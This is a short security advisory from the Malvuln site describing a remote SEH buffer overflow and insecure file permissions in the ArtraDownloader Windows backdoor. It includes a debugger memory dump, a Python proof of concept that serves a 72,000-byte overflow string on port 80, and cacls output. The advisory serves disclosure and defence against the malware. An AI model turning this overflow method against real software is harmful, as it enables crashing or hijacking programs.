Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: http://malvuln.com/advisory/8d42c01180be7588a2a68ad96dd0cf85.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: WIN32 BACKDOOR - 2019-02-ARTRADOWNLOADER Vulnerabilities: Remote SEH Buffer Overflow and Insecure Permissions Description: Remote SEH Buffer Overflow on server response port 80. Change permissions are granted to authenticated users on the c:\intel dir housing the malware. Type: PE32 MD5: 8d42c01180be7588a2a68ad96dd0cf85 Vuln ID: MVID-2021-0013 Dropped files: msdtcv.exe ASLR: True Safe SEH: True Disclosure: 01/01/2021 Memory Dump: 0:000> !exchain 008fb44c: KERNELBASE!invalid_parameter+f0 (7675fc20) 008fb514: kernel32!RtlCaptureContext+60 (76e8d450) 008fb5d8: KERNELBASE!invalid_parameter+f0 (7675fc20) 008fc994: 41414141 Invalid exception stack at 41414141 0:000> .ecxr eax=008fb924 ebx=ffffffff ecx=41cef865 edx=02c24bc8 esi=008fe5a0 edi=73cfbeb0 eip=009029be esp=008fb924 ebp=008fc9a0 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0+0x29be: 009029be 81c4800f0000 add esp,0F80h 0:000>dd 008fb9cc 008fb9cc 41414141 41414141 41414141 41414141 008fb9dc 41414141 41414141 41414141 41414141 008fb9ec 41414141 41414141 41414141 41414141 008fb9fc 41414141 41414141 41414141 41414141 Exploit/PoC: import socket port=80 payload="A"*72000 def doit(): global payload s = socket.socket() try: host = '' s.bind((host, port)) s.listen(5) print('Win32 Backdoor - 2019-02-ArtraDownloader / SEH Buffer Overflow PoC') print('MD5: 8d42c01180be7588a2a68ad96dd0cf85') print("By malvuln") while True: conn, addr = s.accept() conn.send(payload+'\r\n') conn.close() except Exception as e: pass if __name__=="__main__": doit() Insecure Permissions: msdtcv.exe C:\intel>cacls msdtcv.exe C:\intel\msdtcv.exe BUILTIN\Administrators:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Users:(ID)R NT AUTHORITY\Authenticated Users:(ID)C Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).